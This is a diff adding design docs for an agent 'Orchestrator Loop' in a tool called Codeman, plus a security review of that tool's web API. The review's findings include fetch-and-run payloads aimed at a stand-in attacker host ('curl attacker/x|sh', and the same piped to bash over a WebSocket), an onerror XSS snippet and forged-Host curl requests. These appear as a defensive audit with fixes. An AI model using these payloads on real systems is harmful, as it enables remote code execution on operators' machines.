+  /** Resume from pause. */
+  resume(): void;
+
+  /** Stop everything and clean up. → idle */
+  async stop(): Promise<void>;
+
+  /** Skip current phase. → executing (next phase) or completed */
+  async skipPhase(phaseId: string): Promise<void>;
+
+  /** Retry a failed phase. → executing */
+  async retryPhase(phaseId: string): Promise<void>;
+
+  // ── Getters ────────────────────────────────────────────────
+
+  getState(): OrchestratorState;
+  getPlan(): OrchestratorPlan | null;
+  getCurrentPhase(): OrchestratorPhase | null;
+  getStats(): OrchestratorStats;
+  getStatus(): OrchestratorPersistState;
+
+  // ── Internal: Phase Execution ──────────────────────────────
+
+  private async executeCurrentPhase(): Promise<void>;
+  private async executePhase(phase: OrchestratorPhase): Promise<void>;
+  private async assignPhaseTasks(phase: OrchestratorPhase): Promise<void>;
+  private handleTaskCompleted(taskId: string): void;
+  private handleTaskFailed(taskId: string, error: string): void;
+  private async onPhaseTasksComplete(phase: OrchestratorPhase): Promise<void>;
+
+  // ── Internal: Verification ─────────────────────────────────
+
+  private async verifyCurrentPhase(): Promise<void>;
+  private async handleVerificationResult(phase: OrchestratorPhase, result: VerificationResult): Promise<void>;
+
+  // ── Internal: Replanning ───────────────────────────────────
+
+  private async replanPhase(phase: OrchestratorPhase, failures: string[]): Promise<void>;
+
+  // ── Internal: State Machine ────────────────────────────────
+
+  private setState(newState: OrchestratorState): void;
+  private advanceToNextPhase(): Promise<void>;
+  private persist(): void;
+  private restore(): void;
+}
+```
+
+**Key execution flow in `executePhase()`:**
+1. Mark phase as `executing`, emit `phaseStarted`
+2. For each task in phase:
+   - Create a `CreateTaskOptions` from `OrchestratorTask`
+   - Add to `TaskQueue` with proper dependencies + completion phrase
+   - Store the TaskQueue task ID in `OrchestratorTask.queueTaskId`
+3. Poll task completion (listen to TaskQueue events)
+4. When all tasks complete → call `onPhaseTasksComplete()`
+5. `onPhaseTasksComplete()` triggers verification
+
+**How tasks get assigned to sessions:**
+The OrchestratorLoop does NOT manage session assignment directly. It adds tasks to the existing TaskQueue and starts a mini poll loop that assigns pending tasks to idle sessions — the same pattern as RalphLoop's `assignTasks()`. This reuses existing session management.
+
+**Team agent flow:**
+For phases with `teamStrategy.type === 'team'`:
+- Start a single session with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
+- Instead of adding individual tasks to TaskQueue, send ONE comprehensive prompt to the lead
+- The prompt instructs the lead to create teammates and delegate
+- Monitor via TeamWatcher for team task completion + hook events
+- Phase completion is detected via the lead's completion phrase
+
+### Step 5: `src/web/routes/orchestrator-routes.ts` — API endpoints
+~300 lines.
+
+```
+POST   /api/orchestrator/start          — { goal, config? } → start planning
+POST   /api/orchestrator/approve        — approve generated plan
+POST   /api/orchestrator/reject         — { feedback } → reject + replan
+POST   /api/orchestrator/pause          — pause execution
+POST   /api/orchestrator/resume         — resume execution
+POST   /api/orchestrator/stop           — stop orchestration
+GET    /api/orchestrator/status         — full state + plan + stats
+GET    /api/orchestrator/plan           — plan details only
+POST   /api/orchestrator/phase/:id/skip — skip a phase
+POST   /api/orchestrator/phase/:id/retry — retry a failed phase
+```
+
+Port dependency: `SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort`
+
+The route module receives the OrchestratorLoop instance via the InfraPort (added to `createRouteContext()`).
+
+### Step 6: SSE Events — `src/web/sse-events.ts` additions
+
+```typescript
+// ─── Orchestrator ────────────────────────────────────────────────────────────
+
+/** Orchestrator state machine transitioned. */
+export const OrchestratorStateChanged = 'orchestrator:stateChanged' as const;
+/** Orchestrator plan generated and ready for approval. */
+export const OrchestratorPlanReady = 'orchestrator:planReady' as const;
+/** Orchestrator phase started executing. */
+export const OrchestratorPhaseStarted = 'orchestrator:phaseStarted' as const;
+/** Orchestrator phase completed successfully. */
+export const OrchestratorPhaseCompleted = 'orchestrator:phaseCompleted' as const;
+/** Orchestrator phase failed. */
+export const OrchestratorPhaseFailed = 'orchestrator:phaseFailed' as const;
+/** Orchestrator verification result for a phase. */
+export const OrchestratorVerification = 'orchestrator:verification' as const;
+/** Orchestrator task assigned to session. */
+export const OrchestratorTaskAssigned = 'orchestrator:taskAssigned' as const;
+/** Orchestrator task completed. */
+export const OrchestratorTaskCompleted = 'orchestrator:taskCompleted' as const;
+/** Orchestrator task failed. */
+export const OrchestratorTaskFailed = 'orchestrator:taskFailed' as const;
+/** All phases completed successfully. */
+export const OrchestratorCompleted = 'orchestrator:completed' as const;
+/** Orchestrator error. */
+export const OrchestratorError = 'orchestrator:error' as const;
+```
+
+11 new events. Add to `SseEvent` namespace object + mirror in `constants.js`.
+
+### Step 7: State persistence — `src/state-store.ts` additions
+
+Add to `AppState`:
+```typescript
+orchestrator?: OrchestratorPersistState;
+```
+
+Add methods:
+```typescript
+getOrchestratorState(): OrchestratorPersistState | null;
+setOrchestratorState(state: Partial<OrchestratorPersistState>): void;
+clearOrchestratorState(): void;
+```
+
+### Step 8: Server integration — `src/web/server.ts` modifications
+
+1. Import `OrchestratorLoop` and `registerOrchestratorRoutes`
+2. Add `private orchestratorLoop: OrchestratorLoop` field
+3. Initialize in constructor (lazy — created on first start, not at boot)
+4. Add to `createRouteContext()` InfraPort: `orchestratorLoop: this.orchestratorLoop`
+5. Wire up OrchestratorLoop events → SSE broadcasts
+6. Register routes: `registerOrchestratorRoutes(this.app, ctx)`
+7. Clean up in `stop()`
+
+### Step 9: `src/web/public/orchestrator-ui.js` — Frontend panel
+~500 lines. New frontend module.
+
+**Load order**: After `panels-ui.js` (11), before `ralph-wizard.js` (13). So load order = 11.5.
+
+**UI elements:**
+- Goal input form (text area + config toggles)
+- Plan approval view (phase list, task details, approve/reject buttons)
+- Execution dashboard (progress bar, phase cards, task status indicators)
+- Agent activity panel (session count, team status)
+- Controls (pause, resume, stop, skip phase, retry phase)
+
+**SSE listeners:**
+- All 11 orchestrator events → update UI state
+- Reuses existing session/respawn/team event handlers for agent monitoring
+
+### Step 10: `src/prompts/orchestrator.ts` — Prompt templates
+~200 lines.
+
+Templates for:
+- Phase execution prompt (tells Claude what to do in this phase)
+- Team lead delegation prompt (instructs lead to create and coordinate teammates)
+- Verification prompt (asks Claude to verify phase output)
+- Replan prompt (gives failure context, asks for recovery steps)
+
+### Step 11: Constants, schemas, route barrel updates
+
+- `src/web/public/constants.js` — Add 11 SSE event mirrors
+- `src/web/schemas.ts` — Add Zod schemas for orchestrator API input validation
+- `src/web/routes/index.ts` — Export `registerOrchestratorRoutes`
+- `src/web/ports/infra-port.ts` — Add `orchestratorLoop` to InfraPort
+- `src/types/index.ts` — Export orchestrator types
+
+## Existing File Modifications Summary
+
+| File | Change | Lines |
+|------|--------|-------|
+| `src/types/index.ts` | Add orchestrator barrel export | +1 |
+| `src/web/sse-events.ts` | Add 11 orchestrator events + SseEvent entries | +30 |
+| `src/web/public/constants.js` | Mirror 11 SSE events | +15 |
+| `src/web/routes/index.ts` | Export registerOrchestratorRoutes | +1 |
+| `src/web/ports/infra-port.ts` | Add orchestratorLoop to InfraPort | +3 |
+| `src/web/server.ts` | Initialize OrchestratorLoop, wire events, register routes | +40 |
+| `src/web/schemas.ts` | Add orchestrator Zod schemas | +20 |
+| `src/state-store.ts` | Add orchestrator state persistence | +20 |
+| `src/web/public/app.js` | Add orchestrator SSE listeners + panel toggle | +30 |
+| `src/web/public/index.html` | Add orchestrator-ui.js script tag | +1 |
+
+**Total new code**: ~2,300 lines across 6 new files
+**Total modifications**: ~160 lines across 10 existing files
+
+## Implementation Execution Order
+
+This is the actual build order — each step is a commit checkpoint:
+
+1. **Types** — `src/types/orchestrator.ts` + barrel export. Zero risk, pure types.
+2. **SSE events** — Add all 11 events to both `sse-events.ts` and `constants.js`. Wire in SseEvent namespace.
+3. **State persistence** — Add orchestrator state to StateStore. Small, isolated change.
+4. **Schemas** — Add Zod validation schemas for API input.
+5. **Planner** — `src/orchestrator-planner.ts`. Can test in isolation.
+6. **Verifier** — `src/orchestrator-verifier.ts`. Can test in isolation.
+7. **Core loop** — `src/orchestrator-loop.ts`. The big one. Depends on planner + verifier.
+8. **Prompts** — `src/prompts/orchestrator.ts`. Templates used by core loop.
+9. **Port + routes** — `src/web/ports/infra-port.ts` update + `src/web/routes/orchestrator-routes.ts`.
+10. **Server integration** — Wire OrchestratorLoop into WebServer. Routes become live.
+11. **Frontend** — `src/web/public/orchestrator-ui.js` + app.js listeners + index.html script tag.
+12. **Tests** — `test/orchestrator-*.test.ts`.
+13. **Typecheck + lint** — Fix all issues, ensure CI passes.
+
+## Edge Cases & Error Handling
+
+- **Session limit reached**: Queue tasks and wait for sessions to free up (existing SessionManager handles this)
+- **All sessions crash during phase**: Mark phase as failed, attempt replan
+- **Verification flaky**: `moderate` mode allows test retries; `lenient` skips AI review
+- **Plan too large**: Cap at 10 phases, 50 total tasks. Warn user.
+- **Context overflow**: Auto-compact between phases. Respawn if needed (orchestrator state is external).
+- **User pauses mid-phase**: Pause task assignment, don't cancel running tasks. Resume picks up where it left off.
+- **Network/API errors during planning**: Retry plan generation up to 2 times, then fail with clear message.
+- **Orchestrator vs Ralph conflict**: Mutually exclusive. Starting orchestrator stops Ralph if running. Starting Ralph stops orchestrator.
+
+## Testing Strategy
+
+- **Unit tests**: `test/orchestrator-planner.test.ts` — phase grouping algorithm, team strategy assignment
+- **Unit tests**: `test/orchestrator-verifier.test.ts` — verification logic with mocked sessions
+- **Integration tests**: `test/orchestrator-loop.test.ts` — state machine transitions, task lifecycle
+- **Route tests**: `test/routes/orchestrator-routes.test.ts` — API validation, status responses
+
+All tests use `MockSession` pattern from existing test infrastructure. No real tmux needed.

docs/orchestrator-loop-research.md

@@ -0,0 +1,157 @@
+# Orchestrator Loop — Research Findings
+
+> Research doc for the new "Orchestrator Loop" feature. Not for GitHub.
+
+## What We're Building
+
+A new autonomous loop variant — **Orchestrator Loop** — that takes high-level user tasks, decomposes them into a detailed plan using team agents, and executes the plan step-by-step with quality gates. Unlike Ralph Loop (which executes a flat task queue), the Orchestrator coordinates **planning, delegation, and verification** as a continuous cycle.
+
+**Core idea**: User inputs a goal → Orchestrator creates a detailed plan → spins up team agents for parallel execution → validates each step → adapts the plan based on results → delivers polished output.
+
+## Existing Infrastructure Analysis
+
+### What We Can Reuse
+
+#### 1. Ralph Loop (`src/ralph-loop.ts`)
+- **Pattern**: Poll loop with `start() → tick() → stop()` lifecycle
+- **Reusable**: Event-driven task assignment, session completion handling, timeout management
+- **Limitation**: Flat task queue — no concept of phases, dependencies between task groups, or adaptive replanning
+- **Key insight**: `assignTaskToSession()` uses `session.sendInput(task.prompt)` — simple prompt injection into PTY
+
+#### 2. Task Queue (`src/task-queue.ts`) + Task (`src/task.ts`)
+- **Already has**: Priority ordering, dependency tracking between tasks, completion phrase detection
+- **Limitation**: No task *groups* or *phases*. Dependencies are task-to-task, not phase-to-phase
+- **Key insight**: Tasks support `completionPhrase` — a string the task watches for in output. This is how Ralph knows a task is done
+
+#### 3. Plan Orchestrator (`src/plan-orchestrator.ts`)
+- **Already has**: 2-agent plan generation (Research Agent → Planner Agent), TDD-aware plan items with P0/P1/P2 priorities
+- **Output**: `PlanItem[]` with dependencies, verification criteria, TDD phases, complexity ratings
+- **Limitation**: Plan generation only — no execution. Plans are generated then sit in state/UI for human review
+- **Key insight**: Uses `Session` directly to run Claude subagent instances for research and planning. Returns structured JSON
+
+#### 4. Team Agents (`src/team-watcher.ts`, `~/.claude/teams/`)
+- **Already has**: Team creation, member tracking, filesystem inbox messaging, task management via `~/.claude/tasks/{team-name}/`
+- **Limitation**: Codeman can only *observe* teams (TeamWatcher is read-only polling), not *create* or *orchestrate* them
+- **Key insight**: Teams are a Claude Code feature. Codeman monitors them but doesn't control them. We can't programmatically create teammates — Claude Code does that when you use `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
+
+#### 5. Respawn Controller (`src/respawn-controller.ts`)
+- **Already has**: Preset-based automation (ralph-todo, overnight-autonomous), circuit breaker, health scoring
+- **Key insight**: The `ralph-todo` preset (8s idle, 480min max) is designed for autonomous task execution. We'd need a new preset or make Orchestrator Loop set its own timing
+
+#### 6. Session Auto-Ops (`src/session-auto-ops.ts`)
+- **Already has**: Auto-compact at token thresholds, auto-clear for context management
+- **Key insight**: Critical for long Orchestrator runs — prevents context overflow during multi-step execution
+
+#### 7. Hooks (`src/hooks-config.ts`)
+- **Already has**: `idle_prompt`, `stop`, `teammate_idle`, `task_completed` hook events
+- **Key insight**: Hooks fire POST to `/api/hook-event` — this is how Codeman knows when Claude is idle, stopped, or completed a task. The Orchestrator Loop can listen to these same events
+
+### What We Need to Build New
+
+1. **Plan → Task decomposition**: Convert PlanOrchestrator output (PlanItem[]) into executable task groups with phase ordering
+2. **Multi-phase execution engine**: Execute plan phases sequentially, tasks within phases in parallel
+3. **Verification gates**: After each phase, run verification (test commands, AI review) before proceeding
+4. **Adaptive replanning**: When a task fails or verification fails, generate a recovery plan
+5. **Team agent orchestration**: Leverage Claude Code's agent teams for parallel execution within phases
+6. **Progress tracking & UI**: Real-time dashboard showing plan progress, phase status, agent activity
+
+## How Teams Actually Work (Important Constraint)
+
+After deep research, here's the reality of agent teams:
+
+```
+User starts session with CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1
+  → Claude Code creates a team-lead
+  → Team-lead spawns teammates (in-process threads)
+  → Teammates appear as subagents (detected by SubagentWatcher)
+  → Communication via ~/.claude/teams/{name}/inboxes/{member}.json
+  → Tasks tracked in ~/.claude/tasks/{team-name}/{N}.json
+```
+
+**Codeman cannot programmatically create team members.** This is a Claude Code internal feature. However, Codeman CAN:
+- Start a session that has teams enabled
+- Send a prompt to the lead that instructs it to use agent teams
+- Monitor team activity via TeamWatcher
+- React to teammate_idle and task_completed hook events
+- Read team task status from the filesystem
+
+**This means**: The Orchestrator Loop orchestrates at the *session prompt* level, not the *team member* level. We tell the lead what to do, and the lead decides how to use its team.
+
+## Architecture Decision: Prompt-Level Orchestration
+
+Given the team constraint, the Orchestrator Loop works by:
+
+1. **Planning phase**: Use PlanOrchestrator to generate a detailed plan from user input
+2. **Execution phase**: Feed plan steps as prompts to sessions, one phase at a time
+3. **Verification phase**: After each phase, run verification prompts and check results
+4. **Adaptation phase**: If verification fails, generate recovery prompts
+
+The "team agents" aspect works by:
+- Starting sessions with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
+- Crafting prompts that *instruct the lead to delegate* to teammates
+- Monitoring team activity to track parallel progress
+- The lead agent is smart enough to decompose work across its team
+
+## Key Technical Findings
+
+### Session Input Mechanics
+```typescript
+// From session.ts - how we send prompts
+await session.sendInput(task.prompt);  // Uses writeViaMux() internally
+// writeViaMux() does: tmux send-keys -l "prompt text" + tmux send-keys Enter
+// CRITICAL: Single-line only! Multi-line breaks Ink rendering
+```
+
+### Completion Detection Chain
+```
+PTY output → RalphTracker.processData() → completion phrase fuzzy match
+  → CompletionConfidence scoring (multi-signal: promise tag + todos + exit signal)
+  → If confident → emit 'completionDetected'
+  → RalphLoop listens → marks task complete → assigns next
+```
+
+### How Plan Items Map to Tasks
+```typescript
+// PlanItem has:
+interface PlanItem {
+  id: string;            // "P0-001"
+  content: string;       // "Implement error handling for API endpoints"
+  priority: 'P0' | 'P1' | 'P2';
+  dependencies: string[]; // ["P0-000"] — other PlanItem IDs
+  verificationCriteria: string;
+  testCommand: string;
+  tddPhase: 'setup' | 'test' | 'impl' | 'verify' | 'review';
+  complexity: 'low' | 'medium' | 'high';
+}
+
+// Task has:
+interface CreateTaskOptions {
+  prompt: string;
+  priority: number;
+  dependencies: string[];  // Task IDs
+  completionPhrase: string;
+  timeoutMs: number;
+}
+
+// Natural mapping: PlanItem.content → Task.prompt
+// PlanItem.dependencies → Task.dependencies
+// PlanItem.priority → Task.priority (P0=100, P1=50, P2=10)
+// PlanItem.verificationCriteria → verification task prompt
+```
+
+### Context Management for Long Runs
+- Auto-compact at ~110k tokens (configurable)
+- Auto-clear at ~140k tokens (configurable)
+- Respawn cycling: kill + restart session to reset context entirely
+- For Orchestrator: we want compact between phases, respawn between major milestones
+
+## Risk Assessment
+
+| Risk | Severity | Mitigation |
+|------|----------|------------|
+| Context overflow during complex phases | High | Auto-compact between tasks, respawn between phases |
+| Team agents not predictable | Medium | Orchestrate at session level, let Claude decide team delegation |
+| Plan too ambitious → infinite loop | High | Phase budgets (max attempts per phase), circuit breaker |
+| Verification too strict → blocks progress | Medium | Configurable strictness, human override via UI |
+| Single-line prompt limit | Medium | Use CLAUDE.md file for complex instructions, prompt references file |
+| Long planning phase delays execution | Low | Show plan for approval before execution |

docs/reports/security-review-2026-06-09.md

@@ -0,0 +1,149 @@
+# Codeman Security Review — 2026-06-09
+
+> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
+> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
+> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
+> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
+> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
+> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
+> trusts an unsigned git tag — needs signing infra) and dropping CSP
+> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
+> known XSS). Per‑finding breakdown in the *Implementation status* section below;
+> regression tests in `test/network-host-guard.test.ts`.
+
+**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
+
+## TL;DR — the one thing that matters
+
+The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
+
+- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
+- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
+
+Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
+
+> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
+
+---
+
+## CRITICAL
+
+### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
+`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
+
+A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
+
+**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
+
+### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
+`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
+
+A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
+
+**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
+
+---
+
+## HIGH
+
+### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
+`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
+`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
+**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
+
+### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
+`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
+`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
+**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
+
+### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
+`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
+The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
+**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
+
+### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
+`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
+`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
+**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
+
+### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
+`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
+WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
+**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
+
+### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
+`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
+If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
+**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
+
+### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
+`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
+
+---
+
+## MEDIUM
+
+| # | Finding | Location | Fix |
+|---|---------|----------|-----|
+| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
+| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
+| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
+| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
+| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
+| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
+| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
+
+---
+
+## LOW / INFO (hardening)
+
+- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
+- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
+- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
+- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
+- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
+- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
+- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
+- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
+- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
+
+---
+
+## What's solid (credit where due)
+
+The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
+
+- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
+- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
+- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
